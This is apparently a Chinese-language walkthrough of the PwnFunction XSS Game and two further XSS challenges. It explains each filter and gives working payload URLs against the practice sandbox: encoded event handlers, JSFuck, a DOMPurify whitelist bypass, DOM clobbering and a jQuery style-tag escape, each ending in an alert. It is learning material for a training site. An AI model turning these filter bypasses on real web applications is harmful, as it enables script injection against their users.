XSS漏洞复现（包括xssgame和三个高级xss漏洞）

文章目录

- XSS GAME
- - - 1、Ma Spaghet!
    - 2、Jefff
    - 3、Ugandan Knuckles
    - 4、Ricardo Milos
    - 5、Ah That's Hawt
    - 6、Ligma
    - 7、Mafia
    - 8、Ok, Boomer
- 全删除属性dom破坏
- WW3

XSS GAME

地址：https://xss.pwnfunction.com/
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关卡难度层层递进，各个漏洞都有特点，值得学习。实在解答不出来也有解答步骤，可依据作者解答思路进行理解。
接下来我们开始解题吧。

1、Ma Spaghet!

1）了解题目要求，需要无互动弹窗1337，不能使用不规范传参，over。
2）get请求传入‘somebody’参数，与‘Toucha Ma Spaghet!’拼接输出到h2中。
3）用innerHTML进行过滤，对script进行限制。
4）这样我们可以使用img标签进行绕过，Let’s Go!
代码如下：

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror=alert(1337)>

img属性onerror：当src属性地址不存在时执行onerror属性里的代码。
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2、Jefff

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1)要求与第一题一致
2）分析代码：get请求传入jeff参数，用eval函数接收，我们知道，JS里的eval函数与PHP里的效果一致，都会把eval里的代码执行，即将‘Ma name $jeff’ 赋值给ma
3）setTimeout定时将ma里的代码进行innerText文本输出，我们可以在ma里进行闭合，逃出innerText范围，在setTimeout执行逃出的代码。
代码如下：

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=";alert(1377);"
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=";alert(1377)//

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff="-alert(1337)-"
// 在js中-两边都是表达式，则可以执行代码

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3、Ugandan Knuckles

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1）分析代码：发现replace用空替换全局的[、<、>、]符号，然后把wey放到了input标签里
2）不能直接传如<>,就要考虑能不能闭合。
3）input标签里的属性能使用js代码的有herf用伪协议herf=javascript:alert(1),还有οnfοcus=alert(1337),但是这两个属性都需要用户交互，不满足题目要求，所以需要autofocus=去自动聚焦。
代码如下：

https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaa" onfocus=alert(1337)"autofocus="

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4、Ricardo Milos

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1）分析代码：setTimeout 2秒后submit提交页面以action 方式提交。
2）action有伪协议事件，action=javascript:alert(1)
代码如下：

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

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5、Ah That’s Hawt

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1)分析代码：过滤了（、）、'，过滤了（）就不能直接alert()了
2）考虑编码绕过，首先我们要知道编码顺序：urlcode–>实体编码–>unicode
代码如下：

https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Cimg%20src=1%20onerror=location=%22javascript:alert%25281337%2529%22%3E

https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

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6、Ligma

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1）分析代码：过滤英文大小写和数字
2）没有限制字符长度，我们可以用jsfuck.com网址，将alert(1337)转成字符串再传入。
3）如果不行，再进行urlcode编码

代码如下：

编码前：
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

编码后：
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7、Mafia

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1）分析代码：限制字符长度0-50，过滤‘、“、+、alter等
2）想办法绕过，首先我们知道，弹窗最常用的三个函数，为alert、prompt、confirm，三个函数都能实现弹窗，而题目只过滤了，那就太简单了，如果就用alert来绕过，又如何做到呢？
3）Function匿名函数。parseInt将字符转进制，然后用toString复原来绕过。有个细节就是parseint转的尽量大，然后以同样进制转字符，不然转不全，最大36.
代码如下：

Function:
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

parseint:
parseInt("alert",32) 		//将'alert'看作32进制数，返回十进制数11189117
11189117..toString(32)
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval((11189117..toString(32)))(1337)

官方：
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(location.hash.slice(1))#alert(1337)

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8、Ok, Boomer

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1)分析代码：DOMPurify看到这个过滤，基本可以放弃在这个地方进行注入，看setTimeout(ok,2000)
2）我们可以伪造一个ok，然后利用setTimeout执行我们的代码，而刚好setTimeout拿到ok时，会自动调用toString方法去执行我们标签后面的属性。
3)javascript被DOMPurify过滤。去githup看DOMPurify的白名单，发现tel/cid都可以，我们用tel。
代码如下：

https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=tel:alert(1337)%3E

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全删除属性dom破坏

代码环境如下：

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <script>alert(1)</script>
    </title>
</head>
<body>
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    // console.log(root.querySelectorAll('*'))

    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name)
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>

</html>

1)代码分析：删除了div标签下所有子标签的所有属性，怎么使得我们注入代码不被删掉，或者在删掉之前就让他执行。

用两个input标签的属性id=atrributes占用两个循环，导致from标签的属性没有被删除，利用动画执行js代码。
payload1：

<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>

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利用chrome v8引擎的底层运行模式，在加载完而没删除属性前就执行代码。
payload2:

<svg><svg onload="alert(1)"></svg>

在浏览器解析和加载页面时，事件处理程序（如 onload）在元素被完全解析并添加到 DOM 树中时会立即触发并执行。这种机制确保了即使在删除元素之前，相关事件处理程序也能够被执行。这种行为是浏览器渲染引擎和 JavaScript 引擎（如 V8 引擎）协同工作的结果。

对于 <svg><svg> onload="alert(1)"> 这个代码片段，流程如下：
①解析外层 <svg> 元素：浏览器开始解析外层 <svg> 元素，并创建相应的 DOM 节点。
②解析内层 <svg> 元素：浏览器继续解析内层 <svg> 元素，注意到 onload 属性，并将 alert(1) 作为加载事件的处理程序。
③触发 onload 事件：由于内层 <svg> 元素已经被解析并添加到 DOM 树中，浏览器认为该元素已经加载完成，因此触发 onload 事件。
④执行 alert(1)：V8 引擎执行 onload 事件处理程序中的代码，即 alert(1)。

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WW3

代码环境：

<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

1）代码分析，DOMPurify和textarea出现的地方先不考虑，反复分析只有setTimeout处，将notify判断为真才有注入机会
2）Jquery.html()可以逃脱标签，<style><style/><script>alert(1337)//
3）img加载异步
payload:

https://sandbox.pwnfunction.com/challenges/ww3.html?text=%3Cimg%20name%3dnotify%3E%3Cstyle%3E%3Cstyle%2F%3E%3Cscript%3Ealert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg

过程：
1、先执行text
2、执行,使notify为真
3、逃逸script到div标签里
4、执行alert(1337)
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